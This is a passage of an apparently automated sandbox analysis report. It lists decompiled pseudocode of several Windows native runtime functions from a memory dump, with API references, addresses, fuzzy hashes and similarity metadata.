										_t54 =  !_t68;
										 *(_t83 + 0x14) =  !_t68;
										 *((intOrPtr*)(_t74 + 8)) = 4;
										if( *(_t83 + 4) == 0) {
											_t54 =  *(_t72 + 4);
											if(_t54 != _t82) {
												do {
													_t83 =  *(_t54 + 4);
													_t79 = _t54 - 8;
													if( *((intOrPtr*)(_t79 + 4)) == 0) {
														_t77 =  *_t54;
														if( *(_t77 + 4) != _t54 ||  *_t83 != _t54) {
															_push(3);
															asm("int 0x29");
															return 0x3e5;
														}
														 *_t83 = _t77;
														 *(_t77 + 4) = _t83;
														RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t79);
													}
													_t54 = _t83;
												} while (_t83 != _t82);
											}
										}
									}
								}
							}
						}
						goto L12;
					}
				}
				L12:
				return E6D28B640(_t54, _t72, _v8 ^ _t84, _t79, _t82, _t83);
			}

0x6d244439
0x6d244446
0x6d244448
0x6d24444e
0x6d244450
0x6d244453
0x6d244457
0x6d244467
0x6d24446a
0x6d24446c
0x6d244472
0x6d244475
0x6d24447c
0x6d2a080d
0x6d2a0814
0x6d2a0815
0x6d2a081c
0x6d2a081f
0x6d2a0822
0x6d2a0825
0x6d2a0828
0x6d2a082f
0x6d2a0832
0x6d2a0837
0x6d2a083c
0x6d2a083c
0x6d24448a
0x6d2a0842
0x6d2a0849
0x6d2a084a
0x6d2a0851
0x6d2a0854
0x6d2a085b
0x6d2a085e
0x6d2a0861
0x6d2a0868
0x6d2a086b
0x6d2a0870
0x6d2a0870
0x6d244490
0x6d244490
0x6d244495
0x6d2444f8
0x6d2444f8
0x00000000
0x6d244497
0x6d244497
0x6d244497
0x6d24449f
0x00000000
0x6d2444a1
0x6d2444a3
0x6d2444ac
0x6d2444af
0x6d2444b0
0x6d2444b9
0x6d2444bd
0x6d2444bf
0x6d2444c4
0x6d2444c6
0x6d2444c7
0x6d2444ca
0x6d2444cc
0x6d2444cf
0x6d2444da
0x6d2444dc
0x6d2444e1
0x6d2a0878
0x6d2a0878
0x6d2a087b
0x6d2a0882
0x6d2a0884
0x6d2a0889
0x6d2a08b0
0x6d2a08b3
0x00000000
0x6d2a08b5
0x6d2a0896
0x6d2a089a
0x6d2a08a0
0x6d2a08a0
0x6d2a08a5
0x6d2a08a7
0x6d2a08ab
0x6d2444e1
0x6d2444da
0x6d2444c4
0x6d2444bd
0x6d24449f
0x00000000
0x6d244495
0x6d24446c
0x6d2444e7
0x6d2444f7

Strings

0, xrefs: 6D2444A3
Flst, xrefs: 6D244476

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: 0$Flst
API String ID: 0-758220159
Opcode ID: cd66f92528857ace1fc667ccb54fbe139f53efec90a9aff6b5abd9cc236affde
Instruction ID: 04cc1d752075b1566819ec6492707960d140104fa8829ff3da5ad6ca35fb3d67
Opcode Fuzzy Hash: cd66f92528857ace1fc667ccb54fbe139f53efec90a9aff6b5abd9cc236affde
Instruction Fuzzy Hash: BC4199B1A4464ECFDB18CF99C5807ADFBF5EF88315F24C02AD5499B644D7709846CB80

Uniqueness

Uniqueness Score: -1.00%

Function 6D26B944, Relevance: 7.7, APIs: 5, Instructions: 166
nativetimeCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E6D26B944(signed int* __ecx, char __edx) {
				signed int _v8;
				signed int _v16;
				signed int _v20;
				char _v28;
				signed int _v32;
				char _v36;
				signed int _v40;
				intOrPtr _v44;
				signed int* _v48;
				signed int _v52;
				signed int _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				char _v77;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t65;
				signed int _t67;
				intOrPtr _t68;
				char* _t73;
				signed int _t82;
				void* _t87;
				char _t88;
				intOrPtr* _t89;
				intOrPtr _t91;
				void* _t97;
				intOrPtr _t100;
				void* _t102;
				void* _t107;
				signed int _t108;
				intOrPtr* _t112;
				void* _t113;
				intOrPtr* _t114;
				intOrPtr _t115;
				intOrPtr _t117;
				signed int _t118;
				void* _t130;

				_t120 = (_t118 & 0xfffffff8) - 0x4c;
				_v8 =  *0x6d33d360 ^ (_t118 & 0xfffffff8) - 0x0000004c;
				_t112 = __ecx;
				_v77 = __edx;
				_v48 = __ecx;
				_v28 = 0;
				_t105 = __ecx[3];
				_v20 = 0;
				_v16 = 0;
				if(_t105 == 0) {
					_t60 =  *__ecx | __ecx[1];
					if(( *__ecx | __ecx[1]) != 0) {
						 *__ecx = 0;
						__ecx[1] = 0;
						if(E6D267D50() != 0) {
							_t65 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
						} else {
							_t65 = 0x7ffe0386;
						}
						if( *_t65 != 0) {
							E6D318CD6(_t112);
						}
						_push(0);
						_push( *((intOrPtr*)(_t112 + 0x10)));
						_t60 = E6D289E20();
					}
					L20:
					_pop(_t107);
					_pop(_t113);
					_pop(_t87);
					return E6D28B640(_t60, _t87, _v8 ^ _t120, _t105, _t107, _t113);
				}
				_t67 = __ecx[2];
				_t88 =  *((intOrPtr*)(_t67 + 0x10));
				_t97 =  *((intOrPtr*)(_t105 + 0x10)) - _t88;
				_t108 =  *(_t67 + 0x14);
				_t68 =  *((intOrPtr*)(_t105 + 0x14));
				_t105 = 0x2710;
				asm("sbb eax, edi");
				_v44 = _t88;
				_v52 = _t108;
				_t60 = E6D28CE00(_t97, _t68, 0x2710, 0);
				_v56 = _t60;
				if( *_t112 != _t88 ||  *(_t112 + 4) != _t108) {
					L3:
					 *(_t112 + 0x44) = _t60;
					_t105 = _t60 * 0x2710 >> 0x20;
					 *_t112 = _t88;
					 *(_t112 + 4) = _t108;
					_v20 = _t60 * 0x2710;
					_v16 = _t60 * 0x2710 >> 0x20;
					if(_v77 != 0) {
						L16:
						_v36 = _t88;
						_v32 = _t108;
						if(E6D267D50() != 0) {
							_t73 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
						} else {
							_t73 = 0x7ffe0386;
						}
						if( *_t73 != 0) {
							_t105 = _v40;
							E6D318F6A(_t112, _v40, _t88, _t108);
						}
						_push( &_v28);
						_push(0);
						_push( &_v36);
						_push( *((intOrPtr*)(_t112 + 0x10)));
						_t60 = E6D28AF60();
						goto L20;
					} else {
						_t89 = 0x7ffe03b0;
						do {
							_t114 = 0x7ffe0010;
							do {
								_v68 =  *0x6d338628;
								_v64 =  *0x6d33862c;
								_v72 =  *_t89;
								_v76 =  *((intOrPtr*)(_t89 + 4));
								while(1) {
									_t105 =  *0x7ffe000c;
									_t100 =  *0x7ffe0008;
									if(_t105 ==  *_t114) {
										goto L8;
									}
									asm("pause");
								}
								L8:
								_t89 = 0x7ffe03b0;
								_t115 =  *0x7ffe03b0;
								_t82 =  *0x7FFE03B4;
								_v60 = _t115;
								_t114 = 0x7ffe0010;
								_v56 = _t82;
							} while (_v72 != _t115 || _v76 != _t82);
							_v76 =  *0x6d33862c;
							_t117 = _v68;
						} while (_t117 !=  *0x6d338628 || _v64 != _v76);
						asm("sbb edx, [esp+0x24]");
						_t102 = _t100 - _v60 - _t117;
						_t112 = _v48;
						_t91 = _v44;
						asm("sbb edx, eax");
						_t130 = _t105 - _v52;
						if(_t130 < 0 || _t130 <= 0 && _t102 <= _t91) {
							_t88 = _t102 - _t91;
							asm("sbb edx, edi");
							_t108 = _t105;
						} else {
							_t88 = 0;
							_t108 = 0;
						}
						goto L16;
					}
				} else {
					if( *(_t112 + 0x44) == _t60) {
						goto L20;
					}
					goto L3;
				}
			}

0x6d26b94c
0x6d26b956
0x6d26b95c
0x6d26b95e
0x6d26b964
0x6d26b969
0x6d26b96d
0x6d26b970
0x6d26b974
0x6d26b97a
0x6d26badf
0x6d26bae2
0x6d26bae4
0x6d26bae6
0x6d26baf0
0x6d2b2cb8
0x6d26baf6
0x6d26baf6
0x6d26baf6
0x6d26bafd
0x6d26bb1f
0x6d26bb1f
0x6d26baff
0x6d26bb00
0x6d26bb03
0x6d26bb03
0x6d26bacb
0x6d26bacf
0x6d26bad0
0x6d26bad1
0x6d26badc
0x6d26badc
0x6d26b980
0x6d26b988
0x6d26b98b
0x6d26b98d
0x6d26b990
0x6d26b993
0x6d26b999
0x6d26b99b
0x6d26b9a1
0x6d26b9a5
0x6d26b9aa
0x6d26b9b0
0x6d26b9bb
0x6d26b9c0
0x6d26b9c3
0x6d26b9ca
0x6d26b9cc
0x6d26b9cf
0x6d26b9d3
0x6d26b9d7
0x6d26ba94
0x6d26ba94
0x6d26ba98
0x6d26baa3
0x6d2b2ccb
0x6d26baa9
0x6d26baa9
0x6d26baa9
0x6d26bab1
0x6d2b2cd5
0x6d2b2cdd
0x6d2b2cdd
0x6d26babb
0x6d26babc
0x6d26bac2
0x6d26bac3
0x6d26bac6
0x00000000
0x6d26b9dd
0x6d26b9dd
0x6d26b9e7
0x6d26b9e7
0x6d26b9ec
0x6d26b9f1
0x6d26b9fa
0x6d26ba00
0x6d26ba0c
0x6d26ba10
0x6d26ba10
0x6d26ba12
0x6d26ba18
0x00000000
0x00000000
0x6d26bb26
0x6d26bb26
0x6d26ba1e
0x6d26ba1e
0x6d26ba23
0x6d26ba25
0x6d26ba2c
0x6d26ba30
0x6d26ba35
0x6d26ba35
0x6d26ba4c
0x6d26ba50
0x6d26ba54
0x6d26ba6a
0x6d26ba6e
0x6d26ba70
0x6d26ba74
0x6d26ba78
0x6d26ba7a
0x6d26ba7c
0x6d26ba8e
0x6d26ba90
0x6d26ba92
0x6d26bb14
0x6d26bb14
0x6d26bb16
0x6d26bb16
0x00000000
0x6d26ba7c
0x6d26bb0a
0x6d26bb0d
0x00000000
0x00000000
0x00000000
0x6d26bb0f

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT(00000000,?,00002710,00000000,?,?,?), ref: 6D26B9A5
RtlGetCurrentServiceSessionId.1105(00000000,?,00002710,00000000,?,?,?), ref: 6D26BA9C
ZwSetTimer2.1105(00000000,?,00000000,?,00000000,?,00002710,00000000,?,?,?), ref: 6D26BAC6
RtlGetCurrentServiceSessionId.1105(?,?,?), ref: 6D26BAE9
ZwCancelTimer2.1105(00000000,00000000,?,?,?), ref: 6D26BB03

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentServiceSessionTimer2$CancelUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 1220516486-0
Opcode ID: 2be416ad3ad52682a5feb1398e4f702a4cd118c71d4cd54ac04750b40e94cf4d
Instruction ID: 389b656aa0eb950eb8753368378e75ca8deee6d80010b0d85bb8f428de7d422f
Opcode Fuzzy Hash: 2be416ad3ad52682a5feb1398e4f702a4cd118c71d4cd54ac04750b40e94cf4d
Instruction Fuzzy Hash: FE51597165838ACFC710CF28C18092ABBF5BB89744F11896EF99587254D731EC84CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6D2D19C8, Relevance: 7.6, APIs: 5, Instructions: 107
nativeCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E6D2D19C8(intOrPtr* __ecx, intOrPtr* __edx) {
				int _v8;
				void* _v12;
				char _v16;
				intOrPtr* _v20;
				int _v24;
				char _v28;
				int _v32;
				int _v36;
				intOrPtr _v40;
				int _v44;
				int _v48;
				void _v52;
				int _t37;
				intOrPtr* _t47;
				signed int _t49;
				int _t51;
				intOrPtr* _t54;
				int _t58;

				_t47 = __edx;
				_t54 = __ecx;
				_t49 = 6;
				memset( &_v52, 0, _t49 << 2);
				_v20 = _t54;
				_v12 = 0;
				_v8 = 0;
				_v16 = 0;
				if(_t54 != 0) {
					 *_t54 = 0;
				}
				if(_t47 != 0) {
					 *_t47 = 0;
				}
				if(_t54 != 0) {
					if(_t47 != 0) {
						_push(0);
						_push(0x8000000);
						_push(4);
						_v52 = 0x18;
						_push( &_v28);
						_v48 = 0;
						_push( &_v52);
						_push(0xf0007);
						_v40 = 2;
						_push( &_v12);
						_v44 = 0;
						_v36 = 0;
						_v32 = 0;
						_v28 = 0x414;
						_v24 = 0;
						_t58 = E6D2899A0();
						if(_t58 < 0) {
							L11:
							_t51 = _v12;
							_t37 = _v8;
							L12:
							if(_t37 != 0) {
								_push(_t37);
								_push(0xffffffff);
								E6D2897A0();
								_t51 = _v12;
								_v8 = 0;
							}
							if(_t51 != 0) {
								_push(_t51);
								E6D2895D0();
							}
							goto L16;
						}
						_push(4);
						_push(0);
						_push(1);
						_push( &_v16);
						_push(0);
						_push(0);
						_push(0);
						_push( &_v8);
						_push(0xffffffff);
						_push(_v12);
						_t58 = E6D289780();
						if(_t58 < 0) {
							goto L11;
						}
						memset(_v8, 0, 0xf0);
						_t58 = 0;
						 *_v20 = _v12;
						_t51 = 0;
						 *_t47 = _v8;
						_t37 = 0;
						_v12 = 0;
						_v8 = 0;
						goto L12;
					}
					_t58 = 0xc00000f0;
					goto L16;
				} else {
					_t58 = 0xc00000ef;
					L16:
					return _t58;
				}
			}

0x6d2d19d3
0x6d2d19d8
0x6d2d19de
0x6d2d19df
0x6d2d19e3
0x6d2d19e6
0x6d2d19e9
0x6d2d19ec
0x6d2d19f1
0x6d2d19f3
0x6d2d19f3
0x6d2d19f7
0x6d2d19f9
0x6d2d19f9
0x6d2d19fd
0x6d2d1a0b
0x6d2d1a17
0x6d2d1a18
0x6d2d1a1d
0x6d2d1a22
0x6d2d1a29
0x6d2d1a2d
0x6d2d1a30
0x6d2d1a31
0x6d2d1a39
0x6d2d1a40
0x6d2d1a41
0x6d2d1a44
0x6d2d1a47
0x6d2d1a4a
0x6d2d1a51
0x6d2d1a59
0x6d2d1a5d
0x6d2d1aab
0x6d2d1aab
0x6d2d1aae
0x6d2d1ab1
0x6d2d1ab3
0x6d2d1ab5
0x6d2d1ab6
0x6d2d1ab8
0x6d2d1abd
0x6d2d1ac0
0x6d2d1ac0
0x6d2d1ac5
0x6d2d1ac7
0x6d2d1ac8
0x6d2d1ac8
0x00000000
0x6d2d1ac5
0x6d2d1a5f
0x6d2d1a61
0x6d2d1a62
0x6d2d1a67
0x6d2d1a68
0x6d2d1a69
0x6d2d1a6a
0x6d2d1a6e
0x6d2d1a6f
0x6d2d1a71
0x6d2d1a79
0x6d2d1a7d
0x00000000
0x00000000
0x6d2d1a88
0x6d2d1a96
0x6d2d1a98
0x6d2d1a9a
0x6d2d1a9f
0x6d2d1aa1
0x6d2d1aa3
0x6d2d1aa6
0x00000000
0x6d2d1aa6
0x6d2d1a0d
0x00000000
0x6d2d19ff
0x6d2d19ff
0x6d2d1ace
0x6d2d1ad5
0x6d2d1ad5

APIs

ZwCreateSection.1105(?,000F0007,?,?,00000004,08000000,00000000,00000065,00000000,00000000), ref: 6D2D1A54
ZwMapViewOfSection.1105(?,000000FF,?,00000000,00000000,00000000,?,00000001,00000000,00000004,?,000F0007,?,?,00000004,08000000), ref: 6D2D1A74
memset.1105(?,00000000,000000F0,?,000000FF,?,00000000,00000000,00000000,?,00000001,00000000,00000004,?,000F0007,?), ref: 6D2D1A88
ZwUnmapViewOfSection.1105(000000FF,?,?,000F0007,?,?,00000004,08000000,00000000,00000065,00000000,00000000), ref: 6D2D1AB8
ZwClose.1105(?,?,000F0007,?,?,00000004,08000000,00000000,00000065,00000000,00000000), ref: 6D2D1AC8

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: Section$View$CloseCreateUnmapmemset
String ID:
API String ID: 788617167-0
Opcode ID: 77c0bd51e630a667eaba0cead26d1e37344295029b98cca860612fa6308b154e
Instruction ID: c4cb77054e2f3eafbc3e7ba558194153da2e1aff8d4aa048b944169b66a4b20b
Opcode Fuzzy Hash: 77c0bd51e630a667eaba0cead26d1e37344295029b98cca860612fa6308b154e
Instruction Fuzzy Hash: 1D3130B5E4421EBBDB11CF9AC840EAEFBF9EF95714F1041AAE910B7690D7704A44CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6D2528AE, Relevance: 7.6, APIs: 5, Instructions: 73
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6D2528AE(signed int __edx) {
				void* _t14;
				char* _t17;
				signed char* _t27;
				void* _t31;
				signed int _t35;
				signed char* _t37;
				char* _t39;

				_t35 = __edx;
				_t14 = E6D267D50();
				_t39 = 0x7ffe0384;
				if(_t14 != 0) {
					_t17 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
				} else {
					_t17 = 0x7ffe0384;
				}
				_t37 = 0x7ffe0385;
				if( *_t17 != 0) {
					if(( *( *[fs:0x30] + 0x240) & 0x00000004) != 0) {
						if(E6D267D50() == 0) {
							_t27 = 0x7ffe0385;
						} else {
							_t27 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
						}
						if(( *_t27 & 0x00000020) != 0) {
							L6D2C7016(0x1480, _t35, 0xffffffff, 0xffffffff, 0, 0);
						}
					}
				}
				_t31 = L6D25EEF0(0x6d335350);
				if(E6D267D50() != 0) {
					_t39 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
				}
				if( *_t39 != 0) {
					if(( *( *[fs:0x30] + 0x240) & 0x00000004) != 0) {
						if(E6D267D50() != 0) {
							_t37 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
						}
						if(( *_t37 & 0x00000020) != 0) {
							L6D2C7016(0x1481, _t35 | 0xffffffff, 0xffffffff, 0xffffffff, 0, 0);
						}
					}
				}
				return _t31;
			}

0x6d2528ae
0x6d2528b3
0x6d2528b8
0x6d2528bf
0x6d2a7692
0x6d2528c5
0x6d2528c5
0x6d2528c5
0x6d2528ca
0x6d2528cf
0x6d2a76a9
0x6d2a76b6
0x6d2a76c8
0x6d2a76b8
0x6d2a76c1
0x6d2a76c1
0x6d2a76cd
0x6d2a76e3
0x6d2a76e3
0x6d2a76cd
0x6d2a76a9
0x6d2528df
0x6d2528e8
0x6d2a76f7
0x6d2a76f7
0x6d2528f1
0x6d2a770f
0x6d2a771c
0x6d2a7727
0x6d2a7727
0x6d2a7730
0x6d2a7746
0x6d2a7746
0x6d2a7730
0x6d2a770f
0x6d2528fc

APIs

RtlGetCurrentServiceSessionId.1105(00000000,?,6D3384D8,6D250924,6D3384D8,?,6D3384D8,?,00000000,?,?,?,6D25087C,?,?,?), ref: 6D2528B3
RtlEnterCriticalSection.1105(6D335350), ref: 6D2528DA
RtlGetCurrentServiceSessionId.1105(6D335350), ref: 6D2528E1
RtlGetCurrentServiceSessionId.1105 ref: 6D2A76AF

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentServiceSession$CriticalEnterSection
String ID:
API String ID: 1555030633-0
Opcode ID: 306969c6865e93b19733d8deab1d371ec93e9fb47c63cbcdc9bf42df5e37fb2b
Instruction ID: db4c5d5770edf8f5c2c8cae4ac3a1cdcc4dafd3bdc8e00d3ff4087b966003635
Opcode Fuzzy Hash: 306969c6865e93b19733d8deab1d371ec93e9fb47c63cbcdc9bf42df5e37fb2b
Instruction Fuzzy Hash: 9921CC71AD97CB9BF322876C8C48F343794EF41B78F1907B1EA309B6E1D76898548225

Uniqueness

Uniqueness Score: -1.00%

Function 6D24F7C0, Relevance: 7.6, APIs: 5, Instructions: 64
nativeCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E6D24F7C0(void* __ecx, signed char _a4, signed short _a8, intOrPtr* _a12) {
				void* __ebx;
				void* __edi;
				void* _t16;
				signed char _t29;
				intOrPtr* _t37;
				signed int _t39;

				_t39 = _a8 & 0x0000ffff;
				if(_t39 == 0) {
					L13:
					E6D24CC50(6);
					_t16 = 6;
					return _t16;
				}
				_t29 = _a4;
				if((_t29 & 0x00000001) != 0) {
					goto L13;
				}
				_t17 = _t29 + 0x34;
				if(_t39 !=  *((intOrPtr*)(_t29 + 0x34)) || _t29 ==  *0x6d3360d8) {
					goto L13;
				} else {
					_t38 = _t29 + 0x28;
					E6D262280(_t17, _t29 + 0x28);
					asm("lock cmpxchg [edx], cx");
					if(_t39 != _t39) {
						E6D25FFB0(_t29, _t38, _t38);
						goto L13;
					}
					E6D24F8C8(_t29);
					E6D25FFB0(_t29, _t38, _t38);
					_t24 =  *(_t29 + 0x36) & 0x00003fff;
					if(( *(_t29 + 0x36) & 0x00003fff) != 0xa) {
						_push( *((intOrPtr*)(_t29 + 0x30)));
						_t24 = E6D2895D0();
					}
					_t34 =  *(_t29 + 0xc8);
					if( *(_t29 + 0xc8) != 0) {
						E6D314015(_t24, _t34);
						 *(_t29 + 0xc8) =  *(_t29 + 0xc8) & 0x00000000;
					}
					_t37 = _a12;
					if(_t37 != 0) {
						 *_t37 =  *((intOrPtr*)(_t29 + 0x20));
					}
					E6D24F871(_t29);
					return 0;
				}
			}

0x6d24f7c7
0x6d24f7cf
0x6d24f865
0x6d24f867
0x6d24f86e
0x00000000
0x6d24f86e
0x6d24f7d5
0x6d24f7db
0x00000000
0x00000000
0x6d24f7e1
0x6d24f7e7
0x00000000
0x6d24f7f1
0x6d24f7f1
0x6d24f7f5
0x6d24f802
0x6d24f80a
0x6d24f860
0x00000000
0x6d24f860
0x6d24f80e
0x6d24f814
0x6d24f822
0x6d24f829
0x6d24f82b
0x6d24f82e
0x6d24f82e
0x6d24f833
0x6d24f83b
0x6d2a5d50
0x6d2a5d55
0x6d2a5d55
0x6d24f841
0x6d24f846
0x6d24f85b
0x6d24f85b
0x6d24f84a
0x00000000
0x6d24f84f

APIs

RtlAcquireSRWLockExclusive.1105(C00000E5,?,00000000,00000000,?,6D2C3777,00000000,00000000,00000000,?,?,6D22C2A8,00000001,?), ref: 6D24F7F5
RtlReleaseSRWLockExclusive.1105(C00000E5,C00000E5,?,00000000,00000000,?,6D2C3777,00000000,00000000,00000000,?,?,6D22C2A8,00000001,?), ref: 6D24F860

Part of subcall function 6D24F8C8: RtlAcquireSRWLockExclusive.1105(6D3386AC,C00000E5,00000000,?,6D24F813,C00000E5,?,00000000,00000000,?,6D2C3777,00000000,00000000,00000000,?,?), ref: 6D24F8D5
Part of subcall function 6D24F8C8: RtlRbRemoveNode.1105(6D3386DC,?,6D3386AC,C00000E5,00000000,?,6D24F813,C00000E5,?,00000000,00000000,?,6D2C3777,00000000,00000000,00000000), ref: 6D24F8E0
Part of subcall function 6D24F8C8: RtlReleaseSRWLockExclusive.1105(6D3386AC,6D3386DC,?,6D3386AC,C00000E5,00000000,?,6D24F813,C00000E5,?,00000000,00000000,?,6D2C3777,00000000,00000000), ref: 6D24F8EE

RtlReleaseSRWLockExclusive.1105(C00000E5,C00000E5,?,00000000,00000000,?,6D2C3777,00000000,00000000,00000000,?,?,6D22C2A8,00000001,?), ref: 6D24F814
ZwClose.1105(?,C00000E5,C00000E5,?,00000000,00000000,?,6D2C3777,00000000,00000000,00000000,?,?,6D22C2A8,00000001,?), ref: 6D24F82E
RtlSetLastWin32Error.1105(00000006,?,00000000,00000000,?,6D2C3777,00000000,00000000,00000000,?,?,6D22C2A8,00000001,?), ref: 6D24F867

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$Release$Acquire$CloseErrorLastNodeRemoveWin32
String ID:
API String ID: 2169420607-0
Opcode ID: 997b496702f7566f3de8b8ba58e129ef1fbed8b4f456076ea5cadc54e45898e6
Instruction ID: c8c2dc12d96e14d7cebf662a51e59ee749e63aab78de69a8e552cb61f11d1cca
Opcode Fuzzy Hash: 997b496702f7566f3de8b8ba58e129ef1fbed8b4f456076ea5cadc54e45898e6
Instruction Fuzzy Hash: 3D1190362D920F9BEB899F14C8C0FBB3365BFC5B15F418039EE144F145DB20948587A0

Uniqueness

Uniqueness Score: -1.00%

Function 6D24F150, Relevance: 7.6, APIs: 5, Instructions: 59
nativeCOMMON

Download Yara Rule

C-Code - Quality: 72%

			E6D24F150(intOrPtr _a4, intOrPtr _a8) {
				void* _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				char _v36;
				char _t35;
				void* _t37;

				_t37 = E6D25A3E0( &_v12);
				_t35 = 0x18;
				if(_t37 >= 0) {
					_v36 = _t35;
					_v28 =  &_v12;
					_push( &_v36);
					_push(_a4);
					_v32 = 0;
					_push(_a8);
					_v24 = 0x640;
					_v20 = 0;
					_v16 = 0;
					_t37 = E6D289600();
					RtlFreeUnicodeString( &_v12);
				}
				if(_t37 == 0xc0000034) {
					RtlInitUnicodeString( &_v12,  *0x6d221808);
					_v36 = _t35;
					_v28 =  &_v12;
					_push( &_v36);
					_push(_a4);
					_v32 = 0;
					_push(_a8);
					_v24 = 0x640;
					_v20 = 0;
					_v16 = 0;
					_t37 = E6D289600();
				}
				return _t37;
			}

0x6d24f164
0x6d24f16a
0x6d24f16d
0x6d24f172
0x6d24f175
0x6d24f17b
0x6d24f17c
0x6d24f17f
0x6d24f182
0x6d24f185
0x6d24f18c
0x6d24f18f
0x6d24f197
0x6d24f19d
0x6d24f19d
0x6d24f1a8
0x6d2a59f5
0x6d2a59fd
0x6d2a5a00
0x6d2a5a06
0x6d2a5a07
0x6d2a5a0a
0x6d2a5a0d
0x6d2a5a10
0x6d2a5a17
0x6d2a5a1a
0x6d2a5a22
0x6d2a5a22
0x6d24f1b6

APIs

RtlFormatCurrentUserKeyPath.1105(?,02000000,?,00000000), ref: 6D24F15F

Part of subcall function 6D25A3E0: ZwQueryInformationToken.1105(000000FA,00000001,?,00000050,?,?), ref: 6D25A404
Part of subcall function 6D25A3E0: RtlLengthSidAsUnicodeString.1105(?,?,000000FA,00000001,?,00000050,?,?), ref: 6D25A414
Part of subcall function 6D25A3E0: RtlAppendUnicodeToString.1105(?,\REGISTRY\USER\,?,02000000,?,?,000000FA,00000001,?,00000050,?,?), ref: 6D25A443
Part of subcall function 6D25A3E0: RtlConvertSidToUnicodeString.1105(?,?,00000000,?,\REGISTRY\USER\,?,02000000,?,?,000000FA,00000001,?,00000050,?,?), ref: 6D25A469

RtlFreeUnicodeString.1105(?,?,?,?,?,02000000,?,00000000), ref: 6D24F19D

Part of subcall function 6D262400: RtlDeleteBoundaryDescriptor.1105(?,00000000,?,6D2D8405,?,?,?,00000018,00000000,00000000,00000000,00000001,?,?,00000001,?), ref: 6D262412

ZwOpenKey.1105(?,?,?,?,02000000,?,00000000), ref: 6D24F192

Part of subcall function 6D289600: LdrInitializeThunk.NTDLL(6D281119,?,?,00000018,?), ref: 6D28960A

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: StringUnicode$AppendBoundaryConvertCurrentDeleteDescriptorFormatFreeInformationInitializeLengthOpenPathQueryThunkTokenUser
String ID:
API String ID: 1101908438-0
Opcode ID: 5c697558be536113a0064f8e0fbcca48a56e8e9e533d9d50cb6567e169d21c78
Instruction ID: b422d21ab23bb49038bc6e9f82cad768ed71483e26999d38d3d51d20fb9f2664
Opcode Fuzzy Hash: 5c697558be536113a0064f8e0fbcca48a56e8e9e533d9d50cb6567e169d21c78
Instruction Fuzzy Hash: 1011F6B2C4021DABDF11CF96C8848EFFBB9FB88354F018166E915A7200D7359A55CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 6D27D4B0, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 67
memoryCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E6D27D4B0(long* __ecx, signed int __edx, void* _a4) {
				signed int _v8;
				void* _t17;
				long* _t26;
				signed int _t29;
				void* _t34;
